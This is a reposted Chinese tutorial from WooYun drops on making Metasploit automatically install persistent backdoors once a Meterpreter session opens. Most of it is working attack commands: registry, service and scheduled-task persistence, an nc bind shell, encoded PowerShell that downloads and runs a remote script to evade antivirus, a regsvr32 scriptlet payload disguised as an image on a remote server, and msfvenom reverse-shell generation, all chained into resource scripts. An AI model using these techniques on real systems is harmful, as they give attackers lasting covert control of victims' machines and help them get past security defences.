作者 Evi1cg 2016-06-27 11:29:00
被查看了1905次 , 本文转载自:乌云知识库

玩转Metasploit之Automated Persistent Backdoor

Alt text

0x00 简介

Metasploit——渗透测试神器,drops里有很多介绍了。使用过Metasploit的同学应该知道,在没有任何配置的情况下,会话中断以后,是不会重连的,也就是说,是不会安装持续控制后门的,也许你知道如何在生成Meterpreter会话之后安装后门,而本文主要介绍的是,如何在生成会话之后,自动安装持续控制后门,达到我们可以对被攻击者长期控制的目的。

0x01 MSF Persistent Scripts

在介绍之前,首先介绍一下MSF中已经含有的用于创建持续控制后门的脚本。

1、Persistence

路径:metasploit/scripts/meterpreter/persistence.rb,用于创建通过启动项启动。会创建注册表,创建文件,很容易被杀软拦截

Alt text

使用举例:

#!bash
run persistence -A -U -i 5 -p 443 -r 192.168.2.101

使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项

能实现同样功能的脚本还有:

  • exploit/windows/local/persistence.rb
  • exploit/windows/local/registry_persistence.rb

2、Metsvc

路径:metasploit/scripts/meterpreter/metsvc.rb,用于创建服务启动。会创建meterpreter服务,并上传三个文件,很容易被杀软拦截,且安装服务需要管理员权限

Alt text

使用举例:

#!bash
run metsvc -A

使用 -r 参数可卸载服务。

3、Scheduleme & Schtasksabuse

路径:
metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb

这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的,区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。

使用举例:

scheduleme

Alt text

#!bash
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令

其他参数有兴趣自己看看就不详细介绍了

schtasksabuse

Alt text

#!bash
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4  #每隔4秒执行一次calc.exe

使用脚本需要加-t参数

能实现同样功能的脚本还有:
exploits/windows/local/s4u_persistence.rb

4、Mof_ps_persist

之前在 Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)

Alt text

详细使用过程就不再重复了。

当然,MSF持续控制的脚本还有几个,这里就不一一介绍了。

0x02 Autorunscript

说到要自动运行脚本,离不了autorunscript。autorunscript是一个十分强大的脚本,可以让我们在生成会话的同时,执行指定的操作。现在可以直接通过autorunscript来直接调用的脚本已经有66个,目录在metasploit/scripts/meterpreter,包括屏幕截图,获取环境变量等等,还有我们常用的migrate,uploadexec等。

举个例子,如果我们想在获取到会话的同时,执行persistence进行留后门操作可以直接这样:

#!bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit -j -z

当生成会话以后,自动执行persistence,结果就像这样:

Alt text

当然,同样可以设置metsvc

#!bash
set AutoRunScript metsvc -A

其实,从标题上来讲,此文已经可以结束了,因为现在完全可以实现Automated Persistent Backdoor的目的。但是,以上两种方式很容易被杀软拦截,那我们还有什么方式么?答案是有的。

在介绍之前,再介绍两个很有用的脚本。multi_console_commandmulticommand

multi_console_command:用来执行msf的命令的脚本,帮助信息如下:

Alt text

使用示例:

#!bash
meterpreter > run multi_console_command -cl "pwd"

Alt text

cl参数用来执行一条meterpreter的命令,rc参数用来执行多条meterpreter命令,按行分割。

multicommand:用来执行cmd命令的脚本,帮助信息如下:

Alt text

使用示例:

#!bash
run multicommand -cl "whoami"

Alt text

此脚本可用来执行cmd命令,有一个缺点就是会一直等待执行的程序退出以返回结果。

0x03 Resource scripts

除了使用以上Autorunscript,使用Resource 脚本也是可以的,通常我们常见的rc脚本内容是这样的:

#!bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z

将以上内容保存为1.rc,然后执行如下命令:

#!bash
msfconsole -r 1.rc

自动输入命令而省去了我们一条一条输入的繁琐。其实,rc文件里面也可以写ruby代码的,一个简单的示例如下:

#!ruby
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
exploit -j
<ruby>
    sleep(1)
    print_status("Waiting on an incoming sessions...")
    while (true)
        framework.sessions.each_pair do |sid,s|
            thost = s.tunnel_peer.split(":")[0]
            # Ensure that stdapi has been loaded before running
            if s.ext.aliases['stdapi']
                sleep(2)
                print_status("run screenshot to session #{sid} #{thost}...")
                s.console.run_single("screenshot")
                sleep(2)
                print_status("Executing persistent command...")
                s.console.run_single("run persistence -r 192.168.2.101 -p 5556 -U -i 30")
                sleep(4)
                print_status("Closing session #{sid} #{thost}...")
                s.kill
                print_status("Waiting on an incoming sessions...")
            else
                print_status("Session #{sid} #{thost} active, but not yet configured")
                sleep(15)
            end

        end
        sleep(4)
    end

    print_status("All done")
</ruby>
```

使用以上Resource的效果是,开启exploit/multi/script/web_delivery进行配置并开启监听,当产生一个会话以后,自动执行screenshot以及persistent操作,最后关闭当前会话继续等待。效果如下图:

Alt text

0x04 绕过拦截

至此,我们已经可以通过使用autorunscript或者使用添加ruby代码的resource脚本两种方式来让msf在产生会话的同时自动创建Persistent Backdoor了,那么AV那一关怎么过呢?别着急,很多人都知道,Powershell在绕AV上有不错的效果,那我们就试试使用Powershell。

测试过程如下:

1、首先我们先通过web_delivery的PSH获取到一个meterpreter会话。
2、构造创建计划任务命令如下:

#!bash
schtasks /create /tn mytask /tr notepad.exe /sc hourly  /mo 1 #指定每1小时执行一次notepad.exe

3、测试shell下直接执行(被拦截):

Alt text

4、将以上命令写入schtasks.ps1,然后通过IEX下载执行,这种方式就不会被拦截了:

#!powershell
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');"

测试如下图:

Alt text

未被拦截的情况下成功建立计划任务。

5、将命令写入autorunscript:

由于命令中存在引号,可以通过编码方式解决,详细如下:

#!bash
echo "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');" | iconv --to-code UTF-16LE |base64

Alt text

最后执行的命令为:

#!powershell
powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==

之后我们就需要用到multicommand脚本了,自动运行的命令为:

#!bash
set autorunscript 'multicommand -cl "powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA=="'

演示如下:

Alt text

现在我们就在获取meterpreter会话之后,绕过拦截自动创建了计划任务,至于怎么样使用计划任务创建一个后门,其实已经有了现成的powershell脚本。请看拓展。

0x05 拓展

PowerSploit 是一个Powershell的渗透框架,其中含有Persistence模块,不知道小伙伴没有没有测试过。具体怎么使用这里就不详细介绍了,有兴趣可是看一下里面的Help信息。

1、首先,生成一个自动创建计划任务后门的脚本:

加载Persistence模块:

#!powershell
PS C:\Persistence> Import-Module .\Persistence.psm1

因为常常我们希望在没有最高权限的情况下创建后门,为了避免杀软,尽量不使用添加注册表的方式,所以,这里依然使用计划任务的方式来创建,执行时间是计算机空闲状态执行。具体命令如下:

#!powershell
PS C:\Persistence> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
PS C:\Persistence> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
PS C:\Persistence> Add-Persistence -FilePath .\evil.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

可以看脚本说明更改触发条件

evil.ps1是计划任务要执行的payload,可以使用以下命令来生成。

#!bash
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.101 lport=7777 -f psh-reflection -o evil.ps1

最终生成脚本如下:

Alt text

2、测试脚本功能:

将Persistence.ps1 脚本放到web上通过IEX来加载。创建成功以后当电脑空闲时,会执行命令,从而产生meterpreter会话。

测试方式为执行以下命令:

#!powershell
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://domain.com/Persistence.ps1'); "

在这里发现一个小bug,运行脚本的时候,执行的powershell对话框并不会隐藏,解决方式是修改Persistence.ps1 ,找到powershell.exe -NonInteractive 并添加 -w hidden 参数。如果有已经有了cmd权限,可以直接执行此命令添加计划任务后门,这里设置为获取meterpreter之后自动执行是为了在通过某些其他漏洞获取meterpreter会话之后自动创建计划任务后门。

测试发现脚本可以实现我们想要的功能。

3、构造Autorunscript命令:

现在要做的就是把Auturunscript以及Persistence.ps1相结合使用,由于命令中存在引号,可以根据前文中提到的方式进行编码处理。但是,经过测试,按照上文中的方式执行是有问题的,multicommand执行会等待程序执行结束并获取执行结果,这样一来,由于执行的进程不会退出且无回显,所以,会导致程序报错!

多次测试以后,找到了解决方式,即使用http://drops.wooyun.org/tips/15124所讲的方式。

构造sct文件如下:

#!html
<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
            rat = "base64codes"
            ps  = "cmd.exe /c powershell -window hidden -enc "
            new ActiveXObject("WScript.Shell").Run(ps + rat,0,true);

        ]]>
</script>
</registration>
</scriptlet>

将以上内容命名为test.jpg并放到web服务器上(替换掉base64codes),之后执行

#!bash
regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll

与执行powershell的命令是等价的。并且会通过regsvr32开启新的进程而不影响multicommand的执行。

所以最终要设置的内容为:

#!bash
set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'

当获取meterpreter会话以后,自动执行命令安装后门:

Alt text

这样,两者就完美的结合了。重启以后,空闲状态时,脚本执行,重新获取meterpreter会话。这里就不截图了。

以上命令可写入rc文件方便运行:

payload.rc

#!bash
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'
exploit -j
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.2.101
set lport 7777
set ExitOnSession false
exploit -j

自己配置修改相关选项

或者也可以使用Resource脚本来构造,看你的心情了。使用以上方式还可以实现自动bypassuac并执行安装需要高权限安装的后门,具体怎么实现,就不详细说明了,小伙伴可以自己试试看。

0x06 小结

本文重点介绍一下Autorunscript这个功能以及几个比较实用的脚本,具体还能做什么操作,大家可以自由发挥,也算是一个科普,虽然以上测试在安装杀软的情况下进行,并且进行了暂时的绕过。但并不代表杀软永远不会拦截,也无任何针对性。仅仅是一个小结以及测试记录。如果有错误的地方,还请小伙伴们包涵,欢迎指正,希望此文对你有帮助。

本文由Evi1cg原创并首发于乌云drops,转载请注明

本文转载自:乌云知识库